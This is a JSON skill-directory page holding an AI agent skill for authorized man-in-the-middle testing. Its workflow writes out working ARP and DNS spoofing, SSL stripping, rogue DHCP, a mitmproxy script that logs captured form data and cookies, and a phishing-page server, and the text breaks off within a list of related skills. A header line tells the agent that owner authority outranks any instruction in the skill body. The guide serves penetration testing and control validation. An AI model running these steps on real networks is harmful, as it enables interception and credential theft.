[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71AQAY1T7CZTYGY4ZBEKCF4":3,"skill-same:01M71AQAY1T7CZTYGY4ZBEKCF4":68},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":39,"linkOnly":40,"markdownContent":41,"markdownBody":42,"frontMatter":43,"refName":47,"commitSha":48,"skillDirectory":49,"forksCount":50,"repositoryHtmlUrl":51,"repositoryHomepageUrl":6,"ownerHtmlUrl":52,"ownerBlogUrl":6,"ownerDescription":53,"updatedAt":54,"install":55,"resources":67},"01M71AQAY1T7CZTYGY4ZBEKCF4","cyber-conducting-man-in-the-middle-attack-simulation",null,"Simulates man-in-the-middle attacks using Ettercap, mitmproxy, and Bettercap in authorized environments to intercept, analyze, and modify network traffic for testing encryption enforcement, certificate validation, and detection capabilities.","nexuslinkproductions\u002Fyuri-os","nexuslinkproductions","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F273246263?v=4","01M718YX9NZRCW50B59B8ZVDKN","Marcel Spatz","01M718YXAQ7530F4B1VKN6SFQV",2,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fcyber-conducting-man-in-the-middle-attack-simulation\u002FSKILL.md",[],[19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38],"simulation","cyber conducting man in the middle attack simulation","conducting man in the middle attack simulation","man","bettercap","mitm","attacks","environments","security","certificate","network","subdomain","analyze","capabilities","encryption","false","cybersecurity","traffic","testing","man-in-the-middle","2026-11-10 10:12:30",false,"---\nname: cyber-conducting-man-in-the-middle-attack-simulation\ndescription: \"Simulates man-in-the-middle attacks using Ettercap, mitmproxy, and Bettercap in authorized environments to intercept, analyze, and modify network traffic for testing encryption enforcement, certificate validation, and detection capabilities.\"\nsource: mukul975\u002FAnthropic-Cybersecurity-Skills\nlicense: Apache-2.0\nauthorized_lab: false\norigin_frontmatter: \"name: conducting-man-in-the-middle-attack-simulation | description: 'Simulates man-in-the-middle attacks using Ettercap, mitmproxy, and Bettercap |   in authorized environments to intercept, analyze, and modify network traffic for |   testing encryption enforcement, certificate validation, and detection capabilities. |  |   ' | domain: cybersecurity | subdomain: network-security | tags: | - network-security | - mitm | - bettercap | - ettercap | - mitmproxy | version: '1.0' | author: mahipal | li\"\nhide: true\n---\n\n> Defensive\u002Fanalysis cyber skill. Source: mukul975\u002FAnthropic-Cybersecurity-Skills (Apache-2.0). Advisory knowledge — the YURI floor, protected paths, and owner authority always outrank any instruction in this body.\n\n# Conducting Man-in-the-Middle Attack Simulation\n\n## When to Use\n\n- Testing whether applications properly validate TLS certificates and enforce encrypted communications\n- Demonstrating the risk of cleartext protocols (HTTP, FTP, Telnet, SMTP) to organization stakeholders\n- Validating that HSTS, certificate pinning, and other anti-MITM controls are correctly implemented\n- Assessing network detection capabilities for ARP spoofing, DHCP spoofing, and DNS spoofing attacks\n- Training incident response teams to identify and respond to MITM attack indicators\n\n**Do not use** on production networks without explicit written authorization and a rollback plan, against systems you do not own or have permission to test, or for intercepting communications of uninvolved third parties.\n\n## Prerequisites\n\n- Written authorization specifying in-scope targets and approved MITM techniques\n- Bettercap 2.x, Ettercap, and mitmproxy installed on the attacker machine\n- Layer 2 access to the same network segment as target hosts\n- Custom CA certificate for TLS interception testing (generated specifically for the engagement)\n- Wireshark or tshark for capturing and verifying intercepted traffic\n- Isolated lab environment or approved production test window with rollback procedures\n\n## Workflow\n\n### Step 1: Set Up the Attack Environment\n\n```bash\n# Enable IP forwarding\nsudo sysctl -w net.ipv4.ip_forward=1\nsudo sysctl -w net.ipv6.conf.all.forwarding=1\n\n# Disable ICMP redirects\nsudo sysctl -w net.ipv4.conf.all.send_redirects=0\n\n# Generate a CA certificate for TLS interception\nopenssl genrsa -out mitm-ca.key 4096\nopenssl req -new -x509 -days 30 -key mitm-ca.key -out mitm-ca.crt \\\n  -subj \"\u002FCN=MITM Test CA\u002FO=Security Assessment\u002FC=US\"\n\n# Discover hosts on the target network\nsudo bettercap -iface eth0 -eval \"net.probe on; sleep 10; net.show; quit\"\n```\n\n### Step 2: Execute ARP-Based MITM with Bettercap\n\n```bash\n# Start Bettercap with interactive mode\nsudo bettercap -iface eth0\n\n# Enable network probing to discover hosts\n> net.probe on\n\n# Display discovered hosts\n> net.show\n\n# Set target (victim: 192.168.1.50, gateway: 192.168.1.1)\n> set arp.spoof.targets 192.168.1.50\n> set arp.spoof.fullduplex true\n\n# Start ARP spoofing\n> arp.spoof on\n\n# Enable HTTP proxy for traffic inspection\n> set http.proxy.sslstrip true\n> http.proxy on\n\n# Enable HTTPS proxy with certificate interception\n> set https.proxy.certificate mitm-ca.crt\n> set https.proxy.key mitm-ca.key\n> https.proxy on\n\n# Enable DNS spoofing for specific domains\n> set dns.spoof.domains example.com,*.example.com\n> set dns.spoof.address 192.168.1.99\n> dns.spoof on\n\n# Enable credential sniffer\n> set net.sniff.verbose true\n> set net.sniff.filter \"tcp port 80 or tcp port 21 or tcp port 110\"\n> net.sniff on\n```\n\n### Step 3: Intercept HTTP\u002FHTTPS Traffic with mitmproxy\n\n```bash\n# Start mitmproxy as transparent proxy\nsudo mitmproxy --mode transparent --set confdir=~\u002F.mitmproxy \\\n  --set ssl_insecure=true -w mitm_capture.flow\n\n# Configure iptables to redirect traffic through mitmproxy\nsudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080\nsudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080\n\n# Use mitmproxy scripting for automated credential extraction\ncat > extract_creds.py \u003C\u003C 'PYEOF'\n\"\"\"mitmproxy script to extract credentials from intercepted traffic.\"\"\"\nfrom mitmproxy import http\nimport json\n\ndef request(flow: http.HTTPFlow):\n    if flow.request.method == \"POST\":\n        content_type = flow.request.headers.get(\"content-type\", \"\")\n        if \"form\" in content_type or \"json\" in content_type:\n            with open(\"captured_forms.log\", \"a\") as f:\n                f.write(f\"URL: {flow.request.pretty_url}\\n\")\n                f.write(f\"Data: {flow.request.get_text()}\\n\")\n                f.write(\"---\\n\")\n\ndef response(flow: http.HTTPFlow):\n    # Log authentication cookies\n    if \"set-cookie\" in flow.response.headers:\n        with open(\"captured_cookies.log\", \"a\") as f:\n            f.write(f\"URL: {flow.request.pretty_url}\\n\")\n            f.write(f\"Cookie: {flow.response.headers['set-cookie']}\\n\")\n            f.write(\"---\\n\")\nPYEOF\n\nsudo mitmproxy --mode transparent -s extract_creds.py -w mitm_capture.flow\n```\n\n### Step 4: Perform DNS Spoofing and DHCP Attacks\n\n```bash\n# DNS spoofing with Ettercap\nsudo tee \u002Fetc\u002Fettercap\u002Fetter.dns \u003C\u003C 'EOF'\n# Redirect target domain to attacker's web server\nexample.com      A   192.168.1.99\n*.example.com    A   192.168.1.99\nwww.example.com  A   192.168.1.99\nEOF\n\nsudo ettercap -T -q -i eth0 -M arp:remote -P dns_spoof \u002F192.168.1.50\u002F\u002F \u002F192.168.1.1\u002F\u002F\n\n# DHCP spoofing with Bettercap (offer rogue DHCP with attacker as gateway)\nsudo bettercap -iface eth0\n> set dhcp6.spoof.domains example.com\n> dhcp6.spoof on\n\n# Set up a phishing page on the attacker machine\nsudo python3 -m http.server 80 --directory \u002Fvar\u002Fwww\u002Fphishing\u002F\n```\n\n### Step 5: Validate Detection and Test Controls\n\n```bash\n# Verify certificate pinning is working on the target application\n# If the app rejects the MITM CA, certificate pinning is effective\n# Check the target machine for certificate errors\n\n# Test HSTS enforcement\n# If browser refuses HTTP connection after initial HTTPS, HSTS is working\ncurl -v -k -L http:\u002F\u002Fexample.com 2>&1 | grep -i \"strict-transport-security\"\n\n# Verify IDS detection of ARP spoofing\n# Check Snort\u002FSuricata alerts for ARP anomalies\ngrep -i \"arp\" \u002Fvar\u002Flog\u002Fsnort\u002Falert_fast.txt\n\n# Check if switch detected the attack (DAI logs)\n# On Cisco switch: show ip arp inspection log\n\n# Test network monitoring tools\n# Verify that Zeek generated appropriate notices\ncat \u002Fopt\u002Fzeek\u002Flogs\u002Fcurrent\u002Fnotice.log | zeek-cut note msg\n\n# Capture evidence of successful\u002Ffailed interception\ntshark -i eth0 -f \"host 192.168.1.50\" -w mitm_evidence.pcapng -a duration:300\n```\n\n### Step 6: Clean Up and Document Results\n\n```bash\n# Stop all MITM attacks\n# In Bettercap:\n> arp.spoof off\n> http.proxy off\n> https.proxy off\n> dns.spoof off\n> quit\n\n# Restore IP forwarding\nsudo sysctl -w net.ipv4.ip_forward=0\n\n# Remove iptables rules\nsudo iptables -t nat -F PREROUTING\n\n# Verify ARP tables are restored on target hosts\n# The target should re-learn correct MAC addresses via normal ARP\n\n# Force ARP cache refresh (from target machine)\n# arp -d 192.168.1.1 && ping -c 1 192.168.1.1\n\n# Remove test CA certificate from any systems where it was installed\n# Remove capture files containing sensitive data per engagement agreement\n\n# Generate documentation\necho \"MITM Simulation completed at $(date)\" >> mitm_report.txt\nsha256sum mitm_capture.flow mitm_evidence.pcapng >> mitm_report.txt\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Man-in-the-Middle (MITM)** | Attack where the adversary secretly intercepts and potentially alters communication between two parties who believe they are communicating directly |\n| **SSL Stripping** | Downgrade attack that converts HTTPS connections to HTTP by intercepting the initial HTTP request before the TLS upgrade, bypassing encryption |\n| **HSTS (HTTP Strict Transport Security)** | Browser security policy that forces HTTPS connections and prevents SSL stripping by caching the requirement for encrypted connections |\n| **Certificate Pinning** | Application security control that validates server certificates against a pre-configured set of trusted certificates, detecting MITM proxy certificates |\n| **ARP Cache Poisoning** | Layer 2 attack technique that corrupts the ARP cache of target hosts to redirect traffic through the attacker's machine |\n| **Transparent Proxy** | Proxy that intercepts traffic without requiring client-side configuration, typically using iptables REDIRECT rules to capture traffic destined for standard ports |\n\n## Tools & Systems\n\n- **Bettercap 2.x**: Swiss-army knife for network attacks supporting ARP\u002FDNS\u002FDHCP spoofing, HTTP\u002FHTTPS proxying, and credential sniffing with a modular architecture\n- **mitmproxy**: Interactive TLS-capable proxy for intercepting, inspecting, and modifying HTTP\u002FHTTPS traffic with Python scripting support\n- **Ettercap**: Legacy MITM tool supporting ARP spoofing, DNS spoofing, and plugin-based traffic manipulation\n- **sslstrip**: Tool that implements SSL stripping attacks by proxying HTTP-to-HTTPS redirects and serving downgraded HTTP versions\n- **Wireshark**: Packet analyzer for verifying traffic interception and capturing evidence of successful or failed MITM attempts\n\n## Common Scenarios\n\n### Scenario: Testing HTTPS Enforcement on an Internal Web Application\n\n**Context**: A development team claims their internal web application enforces HTTPS with HSTS and certificate pinning. The security team needs to verify these controls during an authorized assessment. The application runs on 10.10.20.50 and is accessed by workstations on the 10.10.1.0\u002F24 VLAN.\n\n**Approach**:\n1. Set up Bettercap on the same VLAN and ARP-spoof a test workstation (10.10.1.100)\n2. Enable SSL stripping via Bettercap's HTTP proxy to test whether the application can be downgraded to HTTP\n3. Enable HTTPS interception with a test CA certificate to test certificate validation\n4. Attempt to access the application from the test workstation and observe whether the browser or application rejects the connection\n5. Verify that HSTS headers are present and have appropriate max-age values\n6. Document that the thick client does not implement certificate pinning (accepts the MITM CA) while the web browser properly rejects it due to HSTS preload\n7. Recommend implementing certificate pinning in the thick client application\n\n**Pitfalls**:\n- Forgetting to enable IP forwarding, causing a denial of service instead of transparent interception\n- Testing SSL stripping on an application with HSTS preloaded in the browser and concluding HSTS works, when a fresh browser instance might be vulnerable\n- Not cleaning up ARP spoofing after testing, causing intermittent connectivity issues for the target\n- Running mitmproxy without the transparent mode flag, requiring manual proxy configuration that changes the test conditions\n\n## Output Format\n\n```\n## MITM Simulation Report\n\n**Test ID**: MITM-2024-001\n**Date**: 2024-03-15 14:00-16:00 UTC\n**Target Application**: https:\u002F\u002Fapp.internal.corp (10.10.20.50)\n**Test Workstation**: 10.10.1.100\n**Attacker Machine**: 10.10.1.99\n\n### Control Validation Results\n\n| Control | Status | Details |\n|---------|--------|---------|\n| HTTPS Redirect | PASS | HTTP requests redirect to HTTPS with 301 |\n| HSTS Header | PASS | max-age=31536000; includeSubDomains; preload |\n| SSL Stripping (Browser) | BLOCKED | HSTS prevents downgrade in Chrome\u002FFirefox |\n| SSL Stripping (Thick Client) | VULNERABLE | Client follows HTTP redirect without HSTS |\n| Cert Pinning (Browser) | N\u002FA | Standard CA validation only |\n| Cert Pinning (Thick Client) | VULNERABLE | Accepts MITM CA without validation |\n| IDS Detection | PASS | Snort generated ARP spoof alert in 12 seconds |\n\n### Recommendations\n1. Implement certificate pinning in the thick client (high priority)\n2. Add HSTS preload list submission for the domain\n3. Enable DAI on access-layer switches for Layer 2 protection\n4. Configure application to reject connections from non-pinned certificates\n```\n","> Defensive\u002Fanalysis cyber skill. Source: mukul975\u002FAnthropic-Cybersecurity-Skills (Apache-2.0). Advisory knowledge — the YURI floor, protected paths, and owner authority always outrank any instruction in this body.\n\n# Conducting Man-in-the-Middle Attack Simulation\n\n## When to Use\n\n- Testing whether applications properly validate TLS certificates and enforce encrypted communications\n- Demonstrating the risk of cleartext protocols (HTTP, FTP, Telnet, SMTP) to organization stakeholders\n- Validating that HSTS, certificate pinning, and other anti-MITM controls are correctly implemented\n- Assessing network detection capabilities for ARP spoofing, DHCP spoofing, and DNS spoofing attacks\n- Training incident response teams to identify and respond to MITM attack indicators\n\n**Do not use** on production networks without explicit written authorization and a rollback plan, against systems you do not own or have permission to test, or for intercepting communications of uninvolved third parties.\n\n## Prerequisites\n\n- Written authorization specifying in-scope targets and approved MITM techniques\n- Bettercap 2.x, Ettercap, and mitmproxy installed on the attacker machine\n- Layer 2 access to the same network segment as target hosts\n- Custom CA certificate for TLS interception testing (generated specifically for the engagement)\n- Wireshark or tshark for capturing and verifying intercepted traffic\n- Isolated lab environment or approved production test window with rollback procedures\n\n## Workflow\n\n### Step 1: Set Up the Attack Environment\n\n```bash\n# Enable IP forwarding\nsudo sysctl -w net.ipv4.ip_forward=1\nsudo sysctl -w net.ipv6.conf.all.forwarding=1\n\n# Disable ICMP redirects\nsudo sysctl -w net.ipv4.conf.all.send_redirects=0\n\n# Generate a CA certificate for TLS interception\nopenssl genrsa -out mitm-ca.key 4096\nopenssl req -new -x509 -days 30 -key mitm-ca.key -out mitm-ca.crt \\\n  -subj \"\u002FCN=MITM Test CA\u002FO=Security Assessment\u002FC=US\"\n\n# Discover hosts on the target network\nsudo bettercap -iface eth0 -eval \"net.probe on; sleep 10; net.show; quit\"\n```\n\n### Step 2: Execute ARP-Based MITM with Bettercap\n\n```bash\n# Start Bettercap with interactive mode\nsudo bettercap -iface eth0\n\n# Enable network probing to discover hosts\n> net.probe on\n\n# Display discovered hosts\n> net.show\n\n# Set target (victim: 192.168.1.50, gateway: 192.168.1.1)\n> set arp.spoof.targets 192.168.1.50\n> set arp.spoof.fullduplex true\n\n# Start ARP spoofing\n> arp.spoof on\n\n# Enable HTTP proxy for traffic inspection\n> set http.proxy.sslstrip true\n> http.proxy on\n\n# Enable HTTPS proxy with certificate interception\n> set https.proxy.certificate mitm-ca.crt\n> set https.proxy.key mitm-ca.key\n> https.proxy on\n\n# Enable DNS spoofing for specific domains\n> set dns.spoof.domains example.com,*.example.com\n> set dns.spoof.address 192.168.1.99\n> dns.spoof on\n\n# Enable credential sniffer\n> set net.sniff.verbose true\n> set net.sniff.filter \"tcp port 80 or tcp port 21 or tcp port 110\"\n> net.sniff on\n```\n\n### Step 3: Intercept HTTP\u002FHTTPS Traffic with mitmproxy\n\n```bash\n# Start mitmproxy as transparent proxy\nsudo mitmproxy --mode transparent --set confdir=~\u002F.mitmproxy \\\n  --set ssl_insecure=true -w mitm_capture.flow\n\n# Configure iptables to redirect traffic through mitmproxy\nsudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080\nsudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080\n\n# Use mitmproxy scripting for automated credential extraction\ncat > extract_creds.py \u003C\u003C 'PYEOF'\n\"\"\"mitmproxy script to extract credentials from intercepted traffic.\"\"\"\nfrom mitmproxy import http\nimport json\n\ndef request(flow: http.HTTPFlow):\n    if flow.request.method == \"POST\":\n        content_type = flow.request.headers.get(\"content-type\", \"\")\n        if \"form\" in content_type or \"json\" in content_type:\n            with open(\"captured_forms.log\", \"a\") as f:\n                f.write(f\"URL: {flow.request.pretty_url}\\n\")\n                f.write(f\"Data: {flow.request.get_text()}\\n\")\n                f.write(\"---\\n\")\n\ndef response(flow: http.HTTPFlow):\n    # Log authentication cookies\n    if \"set-cookie\" in flow.response.headers:\n        with open(\"captured_cookies.log\", \"a\") as f:\n            f.write(f\"URL: {flow.request.pretty_url}\\n\")\n            f.write(f\"Cookie: {flow.response.headers['set-cookie']}\\n\")\n            f.write(\"---\\n\")\nPYEOF\n\nsudo mitmproxy --mode transparent -s extract_creds.py -w mitm_capture.flow\n```\n\n### Step 4: Perform DNS Spoofing and DHCP Attacks\n\n```bash\n# DNS spoofing with Ettercap\nsudo tee \u002Fetc\u002Fettercap\u002Fetter.dns \u003C\u003C 'EOF'\n# Redirect target domain to attacker's web server\nexample.com      A   192.168.1.99\n*.example.com    A   192.168.1.99\nwww.example.com  A   192.168.1.99\nEOF\n\nsudo ettercap -T -q -i eth0 -M arp:remote -P dns_spoof \u002F192.168.1.50\u002F\u002F \u002F192.168.1.1\u002F\u002F\n\n# DHCP spoofing with Bettercap (offer rogue DHCP with attacker as gateway)\nsudo bettercap -iface eth0\n> set dhcp6.spoof.domains example.com\n> dhcp6.spoof on\n\n# Set up a phishing page on the attacker machine\nsudo python3 -m http.server 80 --directory \u002Fvar\u002Fwww\u002Fphishing\u002F\n```\n\n### Step 5: Validate Detection and Test Controls\n\n```bash\n# Verify certificate pinning is working on the target application\n# If the app rejects the MITM CA, certificate pinning is effective\n# Check the target machine for certificate errors\n\n# Test HSTS enforcement\n# If browser refuses HTTP connection after initial HTTPS, HSTS is working\ncurl -v -k -L http:\u002F\u002Fexample.com 2>&1 | grep -i \"strict-transport-security\"\n\n# Verify IDS detection of ARP spoofing\n# Check Snort\u002FSuricata alerts for ARP anomalies\ngrep -i \"arp\" \u002Fvar\u002Flog\u002Fsnort\u002Falert_fast.txt\n\n# Check if switch detected the attack (DAI logs)\n# On Cisco switch: show ip arp inspection log\n\n# Test network monitoring tools\n# Verify that Zeek generated appropriate notices\ncat \u002Fopt\u002Fzeek\u002Flogs\u002Fcurrent\u002Fnotice.log | zeek-cut note msg\n\n# Capture evidence of successful\u002Ffailed interception\ntshark -i eth0 -f \"host 192.168.1.50\" -w mitm_evidence.pcapng -a duration:300\n```\n\n### Step 6: Clean Up and Document Results\n\n```bash\n# Stop all MITM attacks\n# In Bettercap:\n> arp.spoof off\n> http.proxy off\n> https.proxy off\n> dns.spoof off\n> quit\n\n# Restore IP forwarding\nsudo sysctl -w net.ipv4.ip_forward=0\n\n# Remove iptables rules\nsudo iptables -t nat -F PREROUTING\n\n# Verify ARP tables are restored on target hosts\n# The target should re-learn correct MAC addresses via normal ARP\n\n# Force ARP cache refresh (from target machine)\n# arp -d 192.168.1.1 && ping -c 1 192.168.1.1\n\n# Remove test CA certificate from any systems where it was installed\n# Remove capture files containing sensitive data per engagement agreement\n\n# Generate documentation\necho \"MITM Simulation completed at $(date)\" >> mitm_report.txt\nsha256sum mitm_capture.flow mitm_evidence.pcapng >> mitm_report.txt\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Man-in-the-Middle (MITM)** | Attack where the adversary secretly intercepts and potentially alters communication between two parties who believe they are communicating directly |\n| **SSL Stripping** | Downgrade attack that converts HTTPS connections to HTTP by intercepting the initial HTTP request before the TLS upgrade, bypassing encryption |\n| **HSTS (HTTP Strict Transport Security)** | Browser security policy that forces HTTPS connections and prevents SSL stripping by caching the requirement for encrypted connections |\n| **Certificate Pinning** | Application security control that validates server certificates against a pre-configured set of trusted certificates, detecting MITM proxy certificates |\n| **ARP Cache Poisoning** | Layer 2 attack technique that corrupts the ARP cache of target hosts to redirect traffic through the attacker's machine |\n| **Transparent Proxy** | Proxy that intercepts traffic without requiring client-side configuration, typically using iptables REDIRECT rules to capture traffic destined for standard ports |\n\n## Tools & Systems\n\n- **Bettercap 2.x**: Swiss-army knife for network attacks supporting ARP\u002FDNS\u002FDHCP spoofing, HTTP\u002FHTTPS proxying, and credential sniffing with a modular architecture\n- **mitmproxy**: Interactive TLS-capable proxy for intercepting, inspecting, and modifying HTTP\u002FHTTPS traffic with Python scripting support\n- **Ettercap**: Legacy MITM tool supporting ARP spoofing, DNS spoofing, and plugin-based traffic manipulation\n- **sslstrip**: Tool that implements SSL stripping attacks by proxying HTTP-to-HTTPS redirects and serving downgraded HTTP versions\n- **Wireshark**: Packet analyzer for verifying traffic interception and capturing evidence of successful or failed MITM attempts\n\n## Common Scenarios\n\n### Scenario: Testing HTTPS Enforcement on an Internal Web Application\n\n**Context**: A development team claims their internal web application enforces HTTPS with HSTS and certificate pinning. The security team needs to verify these controls during an authorized assessment. The application runs on 10.10.20.50 and is accessed by workstations on the 10.10.1.0\u002F24 VLAN.\n\n**Approach**:\n1. Set up Bettercap on the same VLAN and ARP-spoof a test workstation (10.10.1.100)\n2. Enable SSL stripping via Bettercap's HTTP proxy to test whether the application can be downgraded to HTTP\n3. Enable HTTPS interception with a test CA certificate to test certificate validation\n4. Attempt to access the application from the test workstation and observe whether the browser or application rejects the connection\n5. Verify that HSTS headers are present and have appropriate max-age values\n6. Document that the thick client does not implement certificate pinning (accepts the MITM CA) while the web browser properly rejects it due to HSTS preload\n7. Recommend implementing certificate pinning in the thick client application\n\n**Pitfalls**:\n- Forgetting to enable IP forwarding, causing a denial of service instead of transparent interception\n- Testing SSL stripping on an application with HSTS preloaded in the browser and concluding HSTS works, when a fresh browser instance might be vulnerable\n- Not cleaning up ARP spoofing after testing, causing intermittent connectivity issues for the target\n- Running mitmproxy without the transparent mode flag, requiring manual proxy configuration that changes the test conditions\n\n## Output Format\n\n```\n## MITM Simulation Report\n\n**Test ID**: MITM-2024-001\n**Date**: 2024-03-15 14:00-16:00 UTC\n**Target Application**: https:\u002F\u002Fapp.internal.corp (10.10.20.50)\n**Test Workstation**: 10.10.1.100\n**Attacker Machine**: 10.10.1.99\n\n### Control Validation Results\n\n| Control | Status | Details |\n|---------|--------|---------|\n| HTTPS Redirect | PASS | HTTP requests redirect to HTTPS with 301 |\n| HSTS Header | PASS | max-age=31536000; includeSubDomains; preload |\n| SSL Stripping (Browser) | BLOCKED | HSTS prevents downgrade in Chrome\u002FFirefox |\n| SSL Stripping (Thick Client) | VULNERABLE | Client follows HTTP redirect without HSTS |\n| Cert Pinning (Browser) | N\u002FA | Standard CA validation only |\n| Cert Pinning (Thick Client) | VULNERABLE | Accepts MITM CA without validation |\n| IDS Detection | PASS | Snort generated ARP spoof alert in 12 seconds |\n\n### Recommendations\n1. Implement certificate pinning in the thick client (high priority)\n2. Add HSTS preload list submission for the domain\n3. Enable DAI on access-layer switches for Layer 2 protection\n4. Configure application to reject connections from non-pinned certificates\n```\n",{"hide":44,"name":5,"source":45,"license":15,"description":7,"authorized_lab":40,"origin_frontmatter":46},true,"mukul975\u002FAnthropic-Cybersecurity-Skills","name: conducting-man-in-the-middle-attack-simulation | description: 'Simulates man-in-the-middle attacks using Ettercap, mitmproxy, and Bettercap |   in authorized environments to intercept, analyze, and modify network traffic for |   testing encryption enforcement, certificate validation, and detection capabilities. |  |   ' | domain: cybersecurity | subdomain: network-security | tags: | - network-security | - mitm | - bettercap | - ettercap | - mitmproxy | version: '1.0' | author: mahipal | li","main","4c6d8d65f3d6096e2fc25b0845e481dda73c2794",".claude\u002Fskills\u002Fcyber-conducting-man-in-the-middle-attack-simulation",0,"https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions","Building deterministic AI governance and continuity systems. Workflow architect + visual storyteller","2026-11-14 03:05:17",{"source":8,"skillName":5,"commands":56,"prompt":66,"zipAvailable":44},[57,60,63],{"tool":58,"command":59},"npx","npx skills add nexuslinkproductions\u002Fyuri-os --skill cyber-conducting-man-in-the-middle-attack-simulation",{"tool":61,"command":62},"bunx","bunx skills add nexuslinkproductions\u002Fyuri-os --skill cyber-conducting-man-in-the-middle-attack-simulation",{"tool":64,"command":65},"pnpm","pnpm dlx skills add nexuslinkproductions\u002Fyuri-os --skill cyber-conducting-man-in-the-middle-attack-simulation","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fcyber-conducting-man-in-the-middle-attack-simulation\u002FSKILL.md",[],[69,78,85,92,99,106],{"skillNo":70,"name":71,"nameZh":6,"description":72,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":74,"categories":75,"keywords":76,"publishedAt":77},"01M73K12W8K0GSTB4ABKS8BD7H","executing-plans","Use when you have a written implementation plan to execute in a separate session with review checkpoints","MIT","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexecuting-plans\u002FSKILL.md",[],[],"2026-11-11 15:11:14",{"skillNo":79,"name":80,"nameZh":6,"description":81,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":82,"categories":83,"keywords":84,"publishedAt":77},"01M73HC2NSXYYN54GBASVG2RDJ","using-git-worktrees","Use when starting feature work that needs isolation from current workspace or before executing implementation plans - ensures an isolated workspace exists via native tools or git worktree fallback","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fusing-git-worktrees\u002FSKILL.md",[],[],{"skillNo":86,"name":87,"nameZh":6,"description":88,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":89,"categories":90,"keywords":91,"publishedAt":77},"01M73HC12557CB08VDEF1YTF3H","triage","Triage issues through a state machine driven by triage roles. Use when user wants to create an issue, triage issues, review incoming bugs or feature requests, prepare issues for an AFK agent, or manage issue workflow.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Ftriage\u002FSKILL.md",[],[],{"skillNo":93,"name":94,"nameZh":6,"description":95,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":96,"categories":97,"keywords":98,"publishedAt":77},"01M73HBXB8F8ED4KQXVXEWCV8B","trade-edge-audit","The EDGE LENS for trading peers — recalls EVERY factor\u002Findicator running from the live forecast ledger (no enumeration) and renders the whole pile through the edge arsenal off ONE call: multi-horizon scoring (the ladder) + deflated Sharpe (overfit) + Benjamini-Hochberg FDR (multiple-testing across the fleet) + spread-bounce + maker-fee falsification, then ranks only what survives ALL of it. Use when a peer must answer \"does ANY running factor have real, overfit-corrected, multiple-testing-corrected, fee-surviving edge, and at which horizon\" without hand-assembling 6 tools. The trade-engine analog of quantum-hypothesis-simulation.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Ftrade-edge-audit\u002FSKILL.md",[],[],{"skillNo":100,"name":101,"nameZh":6,"description":102,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":103,"categories":104,"keywords":105,"publishedAt":77},"01M73HBT5ZRCA82SQJ781NWVNQ","trade-decision-sim","The DECISION LENS for trading peers — recalls the CURRENT signal snapshot per market from the live ledger and renders it through the sim arsenal off ONE call: quantum factor-circuit order-optimal sequencing + decision-sim CVaR-robust sizing, sized against the MEASURED per-factor edge (from the edge-audit), correlation-aware. Emits an actionable call per market {side, sizePct, confidence, sequence}. Flat\u002Fzero-size when there is no measured edge after cost — the honest default. Sibling of trade-edge-audit (the EDGE lens); the trade-engine analog of quantum-hypothesis-simulation for a live 